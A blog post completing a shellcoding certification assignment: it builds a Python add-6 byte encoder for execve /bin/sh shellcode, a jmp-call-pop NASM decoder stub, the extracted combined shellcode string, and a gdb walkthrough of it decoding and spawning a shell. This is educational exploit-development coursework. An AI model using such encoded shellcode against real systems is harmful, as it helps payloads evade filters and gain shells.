Tuesday, March 28, 2017

SLAE32 Exam - Assignment 4 of 7 (Decoder Shellcode)

This post is the fourth of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course.  Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

SLAE - 901

The files used in this assignment are here:
https://github.com/clubjk/SLAE32/tree/master/Shellcode/Insertion-Encoder/jk

Assignment 4 Requirements
  • Create a custom encoding scheme like "Insertion Encoder" we showed you.
  • Demonstrate a proof-of-concept using the execve-stack as the shellcode to encode with your schema and execute.
Here are the steps:
  1. Fashion an encoding script to encode the execve-stack shellcode.
  2. Create a executable that loads the encoded shellcode in memory, decodes it, and passes execution to it. 
  3. Extract the decoding stub/encoded shellcode string and paste into a shellcode script and execute.

This assignment will use the jmp-call-pop technique to find the shellcode in memory.  The encoder will simply add 6 to each shellcode byte; decoder will subtract 6.

1.  Fashion an encoding script to encode the execve-stack shellcode (from a previous exercise).


Make the script:
I found an encoding script on securitylabsexpert's blog and modified it for my assignment.


shellcode = (“[paste shellcode]”)


encoded = ""

for x in bytearray(shellcode):
y = x + 6
encoded += '0x'
encoded += '%02x,' %(y % 0xff)

print 'Shellcode length is: %d' % len(bytearray(shellcode))

print 'Encoded shellcode: %s'% encoded

A version of script is here.

Insert the shellcode from the execve-stack binary into the encoding script:

I used the following objdump command to extract executable bytes from the execve-stack binary:

$ objdump -d ./[binary]|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 








The objdump command extracted the following shellcode from the previously-tested execve-stack binary:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

I pasted this shellcode into the shellcode section of my encoder (encoder.py)



I ensured it was executable and ran the script.



This resulted in the following encoded shellcode:

0x37,0xc6,0x56,0x6e,0x74,0x35,0x79,0x6e,0x6e,0x35,0x35,0x68,0x6f,0x8f,0xe9,0x56,0x8f,0xe7,0x59,0x8f,0xe8,0xb6,0x11,0xd3,0x86,

I noted that the length of the encoded shellcode was 25 bytes for use in the next step.

2.  Create an executable that loads the encoded shellcode in memory, decodes it, and passes execution to it.

I modified securitylabexpert's decoder so that it decoded by subtracting 6 from each shellcode byte and used the jmp-call-pop technique to find the encoded shellcode which I pasted in the shellcode section of the decoder.nasm file.  A version of this script is here.


;encoder.nasm
;author:clubjk

 global _start 

 section .text

_start:
jmp short call_decoder

decoder:

pop esi
xor ecx, ecx
mov cl, 25         ;shellcode length is 25


decode:
sub byte [esi], 0x6   ; subtract 6 from each byte
inc esi
loop decode

  jmp short Shellcode

 call_decoder:

  call decoder
;below is the encoded shellcode


  Shellcode: db 0x37,0xc6,0x56,0x6e,0x74,0x35,0x79,0x6e,0x6e,0x35,0x35,0x68,0x6f,0x8f,0xe9,0x56,0x8f,0xe7,0x59,0x8f,0xe8,0xb6,0x11,0xd3,0x86

I compiled and linked decoder.nasm with the following commands to create the binary:

$ nasm -f elf32 -o [file].o [file].nasm
$ ld -o [file] [file].o




3.  Extract the decoding stub/encoded shellcode string and paste into a shellcode script and execute. 

I extracted the decoding stub/encoded shellcode string from the decoder binary with the following objdump command:

$ objdump -d ./decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g




The objdump command extracted the following decode stub/encoded shellcode string:

"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x2e\x06\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x37\xc6\x56\x6e\x74\x35\x79\x6e\x6e\x35\x35\x68\x6f\x8f\xe9\x56\x8f\xe7\x59\x8f\xe8\xb6\x11\xd3\x86"

I pasted this string in the shellcode portion of the shellcode.c template:


The shellcode.c script above is available here.

I compiled shellcode.c with the following command:

$ gcc  -ggdb -fno-stack-protector -z execstack shellcode.c -o shellcode



Before I executed the shellcode, I analyzed the execution of it in gdb.



I loaded the shellcode binary in gdb in quiet mode.  Then I found the memory location where the decoding stub/encoded shellcode began (0x804a040).  I set a break point for that memory location and ran the program which stopped at that breakpoint.  I set the disassembly output to intel format (as is standard in this class).


I ran the disassemble command to view the decoding stub/encoded shellcode instructions.



Examining the instructions, I noticed that the "gibberish" seemed to begin at memory location 0x0804a054 (this most likely is the encoded shellcode instructions).

I used the examine command to view the bytes that start at the top memory address of the shellcode (0x0804a040)

I inspected the bytes and compared them with the intended bytes of shellcode.c


My inspection showed that the intended shellcode bytes made it into memory as intended.

This also confirmed that the encoded shellcode string began where the "gibberish" instructions were.

Highlighted is the encoded shellcode from encoder.py

The same encoded shellcode successfully loaded into memory.

The encoded (gibberish) instructions begin at memory location 0x0804a054

I used the stepi command to step through the execution of the code and watched as the gibberish decoded byte by byte until it showed the original intended  shellcode instructions from the  ececve.nasm.


I used the stepi command to execute the execve system call (int 0x80)...

and the shellcode executed as intended (/bin/sh)

After confirming the decode stub/encoded shellcode executed properly in gdb, I executed it from the command line.



It worked.  Yay.

No comments:

Post a Comment